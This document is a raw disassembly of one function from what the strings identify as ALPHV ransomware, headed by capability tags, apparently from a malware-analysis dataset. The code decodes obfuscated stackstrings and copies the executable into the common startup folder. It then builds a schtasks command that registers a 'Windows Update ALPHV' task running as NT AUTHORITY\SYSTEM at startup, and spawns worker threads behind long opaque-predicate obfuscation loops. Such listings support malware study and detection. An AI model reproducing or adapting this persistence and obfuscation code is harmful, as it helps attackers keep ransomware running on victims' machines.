Function at 0x140025890
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Copy file
Create process on windows
Get common file path
Get startup folder
Schedule task via schtasks
Terminate process
Write file to startup folder

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xa50]
sub rsp, 0xb50
mov rax, qword [0x14009b0c0]
xor rax, rsp
mov qword [rbp + 0xa40], rax
lea rax, [rbp - 0x68]
xor r15d, r15d
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], rax
mov dword [rsp + 0x30], 0x46f78e
call fcn.1400042f0
test eax, eax
je 0x140026d2e
mov dword [rsp + 0x30], 0x46f78e
call fcn.140001170
mov dword [rsp + 0x30], 0x46f78e
call fcn.140025280
cmp dword [0x14009ee28], r15d
jne 0x140025a49
mov byte [rsp + 0x38], r15b
mov byte [rsp + 0x39], 0x15
mov byte [rsp + 0x3a], 0x74
mov byte [rsp + 0x3b], 0x49
mov byte [rsp + 0x3c], 0x60
mov byte [rsp + 0x3d], 0x40
mov byte [rsp + 0x3e], 0x40
mov byte [rsp + 0x3f], 0x46
mov byte [rsp + 0x40], 0x60
mov byte [rsp + 0x41], 0x3d
mov byte [rsp + 0x42], 0x2c
mov byte [rsp + 0x43], 0x5d
mov byte [rsp + 0x44], 0x29
mov byte [rsp + 0x45], 0x40
mov byte [rsp + 0x46], 0x1c
mov byte [rsp + 0x47], 0x7e
mov byte [rsp + 0x48], 0x5d
mov byte [rsp + 0x49], 0x4c
mov byte [rsp + 0x4a], 0x60
mov byte [rsp + 0x4b], 0x15
mov byte [rsp + 0x4c], 0x19
mov byte [rsp + 0x4d], 0x1c
mov byte [rsp + 0x4e], 0x19
mov byte [rsp + 0x4f], 0x36
mov byte [rsp + 0x50], 0x64
mov byte [rsp + 0x51], 0x50
mov byte [rsp + 0x52], 0x3a
movzx eax, byte [rsp + 0x39]
movzx eax, byte [rsp + 0x38]
test al, al
jne 0x140025a01
mov r8d, r15d
nop word [rax + rax]
movzx ecx, byte [rsp + r8 + 0x39]
mov eax, 0x3a
sub eax, ecx
imul ecx, eax, 0x2c
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x39], cl
inc r8
cmp r8, 0x1a
jb 0x1400259b0
mov edx, 0xf
mov r8d, 0x20d8fa8c
lea r9d, [rdx + 0x45]
call fcn.1400057e0
lea r8, [rsp + 0x39]
mov edx, 1
xor ecx, ecx
call rax
mov edx, 0xf
mov r8d, 0xe0c23134
mov rbx, rax
lea r9d, [rdx + 0x53]
call fcn.1400057e0
xor edx, edx
mov rcx, rbx
call rax
test eax, eax
jne 0x140026d2e
mov r8d, 0x104
lea rdx, [rbp + 0x220]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140025a81
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, str.Error
lea rdx, str.Failed_to_get_executable_path.
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140025b57
lea rcx, [rbp + 0x220]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp - 0x40], xmm0
mov rbx, rax
mov r8, 0xffffffffffffffff
movdqu xmmword [rbp - 0x30], xmm1
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], r15w
jne 0x140025ab0
mov rdx, rbx
lea rcx, [rbp - 0x40]
call fcn.140018180
xor r9d, r9d
lea rax, [rbp + 0x10]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x18]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jns 0x140025bbc
lea rdx, str.Failed_to_get_common_startup_folder_path.
lea r8, str.Error
mov r9d, 0x10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x140025b45
mov rcx, qword [rbp - 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025b40
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140026d5f
call fcn.140053554
movdqa xmm0, xmmword [0x140090ed0]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x40], r15w
mov r8d, 0x104
lea rdx, [rbp + 0x430]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x48]
mov rbx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [rbp - 0x48], 1
jle 0x140025c35
mov rdx, qword [rax + 8]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
mov r9, rax
lea r8, [rbp + 0x430]
lea rdx, str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_ALPHV___TR___s__s___F
lea rcx, [rbp + 0x640]
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x140025c50
mov rdx, rbx
lea rcx, [rbp + 0x10]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
xor r8d, r8d
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140025bed
lea rdx, str.Failed_to_copy_executable_to_common_startup_folder.
jmp 0x140025af0
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x140025b45
mov rcx, qword [rbp - 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025b40
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140026d5f
jmp 0x140025b40
lea r8, [rbp + 0x430]
lea rdx, str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_ALPHV___TR___s___F
lea rcx, [rbp + 0x640]
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [rsp + 0x28], r15d
lea r9, [rbp + 0x640]
lea r8, str.cmd.exe
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.1400220b0
cmp dword [0x14009bd10], 0xe
mov edx, 0xf
jne 0x140025d82
lea rax, [0x14009ef30]
mov qword [0x14009ef30], r15
lea r9d, [rdx + 0x3a]
mov qword [0x14009ef38], rax
mov r8d, 0xddde40d3
mov qword [0x14009eef8], 1
mov dword [0x14009ef00], r15d
call fcn.1400057e0
lea rcx, [0x14009ef08]
call rax
mov ecx, 8
call fcn.140059940
xor ecx, ecx
mov qword [rax], rcx
mov qword [0x14009eef0], rax
test rax, rax
je 0x140026d2e
cmp qword [0x14009eef8], rcx
mov rbx, r15
mov dword [0x14009ef00], 1
jbe 0x140025d59
nop dword [rax]
nop word [rax + rax]
mov edx, 0xf
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.1400057e0
lea r9, [0x14009eef0]
mov qword [rsp + 0x28], r15
lea r8, [0x14002cd10]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x14009eef0]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x14009eef8]
jb 0x140025d10
lea rdx, [0x14009bd20]
lea rcx, [rsp + 0x58]
call fcn.14001d140
mov rdx, rax
xor ecx, ecx
call fcn.14002cfc0
xor ecx, ecx
call fcn.14002d160
xor eax, eax
jmp 0x140026d33
mov r9d, 0x5a
mov r8d, 0xde1467b1
call fcn.1400057e0
lea rcx, [rbp - 0x20]
call rax
movzx r8d, word [rbp - 0x20]
mov eax, 0x55555556
mov dword [rsp + 0x30], 0x45f0f2
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140025e15
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, r8d
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140025ddf
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140025f12
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140025e0c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140025df0
jmp 0x140025f12
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140025e86
add ecx, 2
lea eax, [r8 + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140025f12
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140025e73
dec eax
jmp 0x140025e75
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140025e50
jmp 0x140025f12
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140025f12
mov eax, dword [rsp + 0x30]
lea ecx, [r8 + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140025f12
nop dword [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140025ef3
inc eax
jmp 0x140025ef5
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140025ed0
cmp dword [0x14009bd10], 0xa
jne 0x140025f20
mov esi, dword [rbp]
jmp 0x140025f2a
mov eax, dword [rbp]
lea esi, [rax*8]
mov dword [rsp + 0x30], 0x45f0f2
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov r14d, esi
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140025fa5
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140025f6d
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x1400260a2
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140025f9c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140025f80
jmp 0x1400260a2
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140026016
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x1400260a2
nop dword [rax]
nop dword [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140026003
dec eax
jmp 0x140026005
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140025fe0
jmp 0x1400260a2
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x1400260a2
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400260a2
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140026083
inc eax
jmp 0x140026085
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026060
mov eax, dword [0x14009bd10]
add eax, 0xfffffff6
cmp eax, 1
ja 0x140026462
mov edx, 0xf
mov qword [0x14009ef30], r15
lea rax, [0x14009ef30]
mov qword [0x14009eef8], r14
mov r8d, 0xddde40d3
mov qword [0x14009ef38], rax
mov dword [0x14009ef00], r15d
lea r9d, [rdx + 0x3a]
call fcn.1400057e0
lea rcx, [0x14009ef08]
call rax
lea rbx, [r14*8]
mov rcx, rbx
call fcn.140059940
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.14007ed20
mov qword [0x14009eef0], rdi
test rdi, rdi
je 0x140026d2e
mov dword [rsp + 0x30], 0x45f0f2
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026195
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140026164
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140026292
nop dword [rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14002618c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140026170
jmp 0x140026292
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140026206
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140026292
nop dword [rax]
nop dword [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x1400261f3
dec eax
jmp 0x1400261f5
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x1400261d0
jmp 0x140026292
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140026292
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140026292
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140026273
inc eax
jmp 0x140026275
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026250
mov rbx, r15
mov dword [0x14009ef00], 1
cmp qword [0x14009eef8], rbx
jbe 0x1400262f9
nop dword [rax + rax]
mov edx, 0xf
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.1400057e0
lea r9, [0x14009eef0]
mov qword [rsp + 0x28], r15
lea r8, [0x14002cd10]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x14009eef0]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x14009eef8]
jb 0x1400262b0
mov dword [rsp + 0x30], 0x45f0f2
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026366
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140026339
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140026462
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14002635d
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140026341
jmp 0x140026462
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x1400263d6
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140026462
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x1400263c3
dec eax
jmp 0x1400263c5
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x1400263a0
jmp 0x140026462
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140026462
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140026462
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140026443
inc eax
jmp 0x140026445
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026420
mov eax, dword [0x14009bd10]
add eax, 0xfffffff6
test eax, 0xfffffffd
jne 0x140026822
mov edx, 0xf
mov qword [0x14009eee0], r15
lea rax, [0x14009eee0]
mov qword [0x14009eea8], r14
mov r8d, 0xddde40d3
mov qword [0x14009eee8], rax
mov dword [0x14009eeb0], r15d
lea r9d, [rdx + 0x3a]
call fcn.1400057e0
lea rcx, [0x14009eeb8]
call rax
lea rbx, [r14*8]
mov rcx, rbx
call fcn.140059940
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.14007ed20
mov qword [0x14009eea0], rdi
test rdi, rdi
je 0x140026d2e
mov dword [rsp + 0x30], 0x45f0f2
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026555
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140026526
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140026652
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14002654c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140026530
jmp 0x140026652
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x1400265c6
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140026652
nop dword [rax]
nop dword [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x1400265b3
dec eax
jmp 0x1400265b5
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140026590
jmp 0x140026652
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140026652
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140026652
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140026633
inc eax
jmp 0x140026635
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026610
mov rbx, r15
mov dword [0x14009eeb0], 1
cmp qword [0x14009eea8], rbx
jbe 0x1400266b9
nop dword [rax + rax]
mov edx, 0xf
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.1400057e0
lea r9, [0x14009eea0]
mov qword [rsp + 0x28], r15
lea r8, [0x14002cd10]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x14009eea0]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x14009eea8]
jb 0x140026670
mov dword [rsp + 0x30], 0x45f0f2
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026726
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x1400266f9
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140026822
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14002671d
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140026701
jmp 0x140026822
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140026796
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140026822
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140026783
dec eax
jmp 0x140026785
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140026760
jmp 0x140026822
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140026822
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140026822
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140026803
inc eax
jmp 0x140026805
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400267e0
lea rax, [rbp - 0x58]
mov qword [rbp - 0x58], r15
lea rcx, [rbp - 0x58]
mov qword [rbp - 0x50], rax
call fcn.14002b720
call fcn.140006e90
xor ecx, ecx
call fcn.1400078a0
call fcn.140022410
sub eax, 0xa
cmp eax, 1
ja 0x140026cdf
lea rcx, [rbp - 0x68]
call fcn.140018450
test eax, eax
je 0x140026cdf
mov dword [rsp + 0x30], 0x45f0f2
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400268d5
mov ecx, dword [rsp + 0x30]
mov eax, dword [rbp - 0x68]
add eax, 2
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x1400268a8
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x1400269d2
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x1400268cc
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x1400268b0
jmp 0x1400269d2
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140026946
mov eax, dword [rbp - 0x68]
add ecx, 2
add eax, 3
imul eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x1400269d2
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140026933
dec eax
jmp 0x140026935
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140026910
jmp 0x1400269d2
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x1400269d2
mov eax, dword [rsp + 0x30]
mov ecx, dword [rbp - 0x68]
add eax, 0xb
cdq
add ecx, 0x17
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400269d2
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x1400269b3
inc eax
jmp 0x1400269b5
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026990
mov dword [rsp + 0x30], 0x45f0f2
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140026a35
add eax, 2
mov dword [rsp + 0x30], eax
